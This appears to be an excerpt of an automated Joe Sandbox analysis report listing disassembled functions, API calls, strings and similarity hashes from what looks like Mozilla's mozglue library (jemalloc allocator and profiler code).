EnterCriticalSection.KERNEL32(?), ref: 6C5CD904
LeaveCriticalSection.KERNEL32(?), ref: 6C5CD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5CD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5CE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE315
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE37C
GetSystemInfo.KERNEL32(?), ref: 6C5CE3C7
__Init_thread_footer.LIBCMT ref: 6C5CE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5CE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5CE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5CE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5CE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5CE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E768,00001388), ref: 6C5CE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5CE52E
ReleaseSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE54F

Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(?), ref: 6C5BD999
Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BDA13

Strings

<jemalloc>, xrefs: 6C5CE61C, 6C5CE6CC
MALLOC_OPTIONS, xrefs: 6C5CE3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CE560, 6C5CE58A, 6C5CE5A5
MOZ_CRASH(), xrefs: 6C5CE62B
Compile-time page size does not divide the runtime one., xrefs: 6C5CE621
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5CE6DD

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction ID: f7702a4bc3e401984d7a66c59003df251c6b88db913acd82e4e2aca08cf786b8
Opcode Fuzzy Hash: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction Fuzzy Hash: 9D92A9B1B056018BD714CF69C881715BBE1FF86328F29866DE869CB791D375E841CBC2

Function 6C60C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C60C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E472

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c7d1c6d4816fe76778441dcd124f1e2505c097f0f07b9a79c0e974577a1b578
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8F33CD71E0021A8FCB08CFA8C9806EDBBF2FF49314F288269D955BB755D730A945CB94

Function 6C5CED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5CEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5CEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5D1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5D1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D1A3E

Strings

~qZl, xrefs: 6C5CED10
~qZl, xrefs: 6C5CED13

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qZl$~qZl
API String ID: 3693777188-2831360158
Opcode ID: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction ID: cea532c1ebe75ec635563a2b362f4b4f0176a330ab7091d48d541b744f5a5c13
Opcode Fuzzy Hash: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction Fuzzy Hash: E8B31871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB745D730AD86CF94

Function 6C5BFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

<jemalloc>, xrefs: 6C5C0D62, 6C5C0D76, 6C5C0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5C0D67, 6C5C0D7B, 6C5C0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction ID: bd5e4adfcc1269b3fa71f80519889a20ebebb11ddeefda2e8d7b17063dc2815e
Opcode Fuzzy Hash: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction Fuzzy Hash: 32C2AB71B057418FD714CF69C880716BBE1AFC5328F28CA6DE4AA8B795D775E801CB82

Function 6C60E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C60E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C60F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C610E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C610E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C610EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C610ED4

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction ID: c6eabfe3f412d1d2eaf72fe6ce72a59487ac4f0c926c20f57711cde906a31c0d
Opcode Fuzzy Hash: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction Fuzzy Hash: C4639D71E0425A8FCB08CFACC9905DDF7B2FF89314F298229D855AB745D730A946CB94

Function 6C5E3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C607770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>^l,?,?,?,6C5E3E7D,?,?), ref: 6C60777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5E3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E3F5C
VerSetConditionMask.NTDLL ref: 6C5E3F8D
VerSetConditionMask.NTDLL ref: 6C5E3F99
VerSetConditionMask.NTDLL ref: 6C5E3FA0
VerSetConditionMask.NTDLL ref: 6C5E3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E3FB4

Strings

C>^l, xrefs: 6C5E3E93
nvd3d9wrap.dll, xrefs: 6C5E4466
nvinit.dll, xrefs: 6C5E4479

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>^l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-824577501
Opcode ID: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction ID: 830f487e22a20854b4bdcf881081af94df7f89769472e088442cdca2fcdb7ae2
Opcode Fuzzy Hash: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction Fuzzy Hash: BF522271614B488FD711DF74CCD0AAB7BE9AF84208F44492DD5A29BB82DB74F909CB60

Function 6C5BFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4, 6C5C1A10
MOZ_CRASH(), xrefs: 6C5C0CA7

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction ID: b7722316f7f8b11ac73ac9901a6f709d107469c9796cf0c6c0e83585abe21524
Opcode Fuzzy Hash: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction Fuzzy Hash: 56B2BC717057418FD714CF69C990716BBE1BF85328F28CA6DE86A8B795C774E840CB82

Function 6C5F5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C5F5AC3
data, xrefs: 6C5F6131
schema, xrefs: 6C5F606D
ProfileBuffer parse error: %s, xrefs: 6C5F5AC8, 6C5F5CBB
name, xrefs: 6C5F5E79, 6C5F5E8F
expected a Time entry, xrefs: 6C5F5CB6

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction ID: 1537a568d05ee02c999aa3b86a9febbb8827f14098fd70b351eb7e192b891d6f
Opcode Fuzzy Hash: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction Fuzzy Hash: 90923C716083418FD728CF18C89075ABBE1BFC5308F55891DE5AA9B751DB30E94ACF92

Function 6C5B7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5B7885
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5B78A5
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5B78AD
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5B78CD
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5B795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5B79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5B7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B7C82
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5B7DAF

Strings

Dbl, xrefs: 6C5B787F
Dbl, xrefs: 6C5B789F

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dbl$Dbl
API String ID: 759993129-2483856670
Opcode ID: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction ID: 4a34f0f1089bc92d6387a8b82554bcb8a06f354d0b2b214a5fef26b25937d13d
Opcode Fuzzy Hash: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction Fuzzy Hash: 3E029230A012198FDB54CF29C994799BBB5FF88358F2582AAD809B7710D734BE90CF94

Function 6C5F2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5F2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F36BF

Strings

set , xrefs: 6C5F36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5F378D
get , xrefs: 6C5F3205

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction ID: 1dd297eb1b2b79828b1d152e5bb2653aefe833080a7bc1f2fb80730835ded342
Opcode Fuzzy Hash: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction Fuzzy Hash: 62324EB02083818FD769CF24C8906AEB7E2AFC9218F548C1DE5A987751DB30D94ACF57

Function 6C5E7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C5E7E88
data, xrefs: 6C5E8280, 6C5E83E1
schema, xrefs: 6C5E81E3, 6C5E8311
name, xrefs: 6C5E7ECF, 6C5E8335
vbl, xrefs: 6C5E8207

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vbl
API String ID: 3412268980-3299618421
Opcode ID: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction ID: a1b437141be5dac922db1edcd1149e5d75ca01fef05616cee452cba8cc63c2c9
Opcode Fuzzy Hash: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction Fuzzy Hash: 4FE19FB1A043408FC710CF69885165BFBE9BFD9314F14492DE899E7B80DBB5DC098B92

Function 6C605FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C606009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C606024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QZl,?), ref: 6C606046
OutputDebugStringA.KERNEL32(?,QZl,?), ref: 6C606061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C606069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C62148E), ref: 6C606091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QZl,00000000,?), ref: 6C6060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6060C4

Strings

QZl, xrefs: 6C605FFC, 6C606042, 6C606045, 6C6060B3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QZl
API String ID: 3835517998-1347650013
Opcode ID: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction ID: f15666f5a24b7f9f7825f178081177139a7e0a32dddd7f0d94e971af1c7e5746
Opcode Fuzzy Hash: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction Fuzzy Hash: 2F21BA71A002089FDF205F65DC4969E7BB8FF85314F008428E85B97640CB75A959CFD9

Function 6C5C5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5C7652

Strings

ew`l, xrefs: 6C5C5E9C, 6C5C5F22, 6C5C61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C72F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C7BCD, 6C5C7C1F, 6C5C7C34, 6C5C80FD
MOZ_CRASH(), xrefs: 6C5C7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C72E3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew`l
API String ID: 2613674957-3284534115
Opcode ID: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction ID: 93e0d18dc5b735f1175636cdc2c193fcc3228e1f689290c03a4c01b83a1b6579
Opcode Fuzzy Hash: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction Fuzzy Hash: F2337D717057018FC304CF69C990625BBE2FF85368F29C6ADE9698BBA5D731E841CB42

Function 6C5F4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C5F49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5F4D65
schema, xrefs: 6C5F48C1
bl, xrefs: 6C5F4F88
ProfileBuffer parse error: %s, xrefs: 6C5F4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5F4CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5F4DB8, 6C5F4DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5F4D0A
-%llu, xrefs: 6C5F4825

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
